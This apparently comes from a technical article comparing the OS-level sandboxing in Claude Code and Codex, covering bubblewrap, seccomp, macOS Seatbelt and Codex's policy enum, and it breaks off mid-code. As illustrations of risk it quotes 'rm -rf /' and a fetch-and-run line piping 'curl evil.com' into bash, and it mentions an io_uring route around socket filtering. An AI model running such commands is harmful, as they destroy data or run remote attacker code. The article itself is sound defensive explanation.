How Claude Code and Codex approach sandboxing Claude Code and Codex both use OS-level process sandboxing to prevent AI models from executing harmful shell commands, relying on Linux primitives like bubblewrap for filesystem isolation and seccomp for syscall filtering. Codex enforces sandboxing as a mandatory boundary by default, while Claude Code treats it as a configurable layer that developers can override per command. When an LLM decides to run rm -rf / on your behalf, what stops it? Both Codex and Claude Code let an AI model execute shell commands on your machine. The model reads your code, decides what to do, and runs the command for you. That is also the risk. A language model that can run npm install can also run curl evil.com | bash . A model that can write to your source directory can also write to your SSH keys. Both systems arrived at the same answer: OS-level process sandboxing. Both reached for the same OS primitives. But they embedded those primitives in different trust architectures. Codex treats sandboxing as a mandatory containment boundary, sandbox-first by default, though the manager can resolve to no sandbox when the policy does not require enforcement. Claude Code treats it as a configurable isolation layer that the developer can tune, relax, or override per command. This article walks through the complete sandbox flow in both systems, from the moment the LLM emits a shell command to the moment the result comes back. 1. Background: The OS Primitives If you have used Docker, you have already used some of these primitives indirectly. Docker containers use Linux namespaces the same mechanism bubblewrap uses to isolate processes. The concepts below are the lower-level building blocks that both Docker and these sandboxing systems build on. Bubblewrap: filesystem isolation on Linux Bubblewrap bwrap creates a fake view of the filesystem for a process: a read-only copy of your hard drive where only certain folders are writable. It does this by creating Linux namespaces , isolated environments for different system resources. A mount namespace gives the process its own filesystem view. A PID namespace hides other processes. A network namespace isolates the process from the host network stack. A user namespace prevents privilege escalation. Flags that both systems use: --ro-bind / / mounts the entire host filesystem as read-only inside the sandbox. --bind re-mounts a specific path as writable on top of the read-only base. --unshare-net creates a fresh network namespace, isolating the process from the host network. --tmpfs mounts an empty temporary filesystem, hiding whatever was at that path. --dev /dev and --proc /proc provide minimal device nodes and process information. Both Codex and Claude Code invoke the same bwrap binary. Codex builds its argument list in Rust. Claude Code builds it in TypeScript. Seccomp/BPF: syscall filtering on Linux If bubblewrap controls what a process can see , seccomp controls what a process can do . Seccomp Secure Computing installs a BPF Berkeley Packet Filter program in the kernel that intercepts every system call the process makes. If the syscall matches a blocked rule, the kernel returns EPERM before the operation executes. A firewall for system calls instead of network ports. Both systems block the same critical syscalls: : Linux's io uring subsystem can perform operations including creating sockets in kernel context without going through the io uring setup , io uring enter , io uring register socket syscall. A process could bypass seccomp's socket-blocking rules entirely. Both teams independently identified this evasion vector and block all three io uring syscalls.: Rather than blocking all sockets, both systems use BPF argument inspection to filter by address family, but the direction depends on the network mode. Codex in restricted mode allows only socket with conditional filtering AF UNIX local IPC while blocking AF INET / AF INET6 network . In proxy-routed mode, Codex reverses this: allows AF INET / AF INET6 so traffic can reach the local TCP bridge to the proxy while blocking AF UNIX preventing bypass of the proxy . Claude Code's seccomp filter follows the proxy-routed pattern: blocks AF UNIX and allows AF INET / AF INET6 , routing all traffic through its socat TCP bridge. Before installing a seccomp filter, the process must call prctl PR SET NO NEW PRIVS to ensure it cannot regain privileges through setuid binaries. Codex compiles its BPF program via the seccompiler crate in Rust. Claude Code uses a precompiled C binary apply-seccomp built with libseccomp . Seatbelt: kernel-level sandboxing on macOS macOS has its own sandboxing system called Seatbelt. It works at the kernel level through the TrustedBSD mandatory access control framework: once a policy is applied to a process, every file open, network connection, process spawn, and IPC operation is checked against the policy before the kernel allows it. There is no userspace hook to intercept or bypass. The policy language is SBPL Sandbox Profile Language , a DSL with Scheme-like syntax where you declare what a process is allowed to do and the kernel denies everything else. You invoke sandbox-exec -p to run a command under a given profile. Apple deprecated sandbox-exec in macOS 10.15, but the underlying kernel enforcement is still active and widely used. Chromium, VS Code, and both systems in this article rely on it in production. Every Seatbelt policy in both systems starts the same way: version 1 deny default This means: deny everything by default . Then the policy adds explicit allowances: allow file-read subpath "/usr" ; read system libraries allow file-write subpath "/workspace" ; write to workspace allow network-outbound remote ip "localhost:3128" ; proxy only Both systems use the -D KEY=VALUE parameterization pattern to inject paths into the SBPL template, avoiding path injection vulnerabilities. Codex assembles its SBPL profiles in Rust. Claude Code assembles them in TypeScript. 2. The Two Architectures at a Glance | Dimension | Codex | Claude Code | |---|---|---| | Default posture | Sandbox-first, always evaluated, but may resolve to no sandbox | Opt-in, sandbox is configurable | | Policy granularity | 4-variant Rust enum SandboxPolicy | 5-layer JSON settings merge | | Scope | Session/turn, all commands share policy | Per-command, each command is evaluated | | When active | Always, when policy requires it | When enabled + not excluded | | On block | Escalation protocol → user approval dialog | Violation logged → surfaced in REPL | | Platform support | macOS, Linux, Windows | macOS, Linux | The analogy for web developers: Codex is like a mandatory Content-Security-Policy header where the server enforces it and the client cannot opt out. Claude Code is like a configurable CSP that the developer can relax per request when they know what they are doing. php flowchart LR subgraph Codex "Codex" C1 "LLM emits tool call" -- C2 "SandboxPolicy\nenum evaluated" C2 -- C3 "should require \nplatform sandbox ?" C3 -- C4 "SandboxManager\n::transform " C4 -- C5 "Rewritten argv\nexecuted" C5 -- C6{"Blocked?"} C6 -- |yes| C7 "EscalateRequest\n→ user approval" C6 -- |no| C8 "Result returned" C7 -- C8 end subgraph CC "Claude Code" Q1 "LLM emits tool call" -- Q2 "shouldUseSandbox " Q2 -- |yes| Q3 "SandboxManager\n.wrapWithSandbox " Q2 -- |no| Q4 "Execute directly" Q3 -- Q5 "Wrapped command\nexecuted" Q5 -- Q6 "cleanupAfterCommand " Q4 -- Q7 "Result returned" Q6 -- Q7 end 3. End-to-End Walkthrough: Codex Stage 1: Policy selection Every Codex session starts with a SandboxPolicy , a Rust enum with four variants that describes what the user intends to permit: : No restrictions. The command runs unsandboxed. This variant exists so the type system forces every code path to handle the "no sandbox" case explicitly. DangerFullAccess : Read-only filesystem access. Carries an ReadOnly access field full-disk or restricted to specific roots and a network access boolean.: The workspace is writable, plus optionally additional WorkspaceWrite writable roots . Also carries read-only access settings, network access, and temp directory exclusion flags.: The process is already inside an external sandbox like a container . Codex skips its own sandboxing but still enforces network policy. ExternalSandbox Filesystem and network access are modeled as independent dimensions FileSystemSandboxPolicy and NetworkSandboxPolicy so the system can express "writable filesystem with no network" or "read-only filesystem with proxy-routed network" without a combinatorial explosion. pub enum SandboxPolicy { DangerFullAccess, ReadOnly { access: ReadOnlyAccess, network access: bool, }, ExternalSandbox { network access: NetworkAccess, }, WorkspaceWrite { writable roots: Vec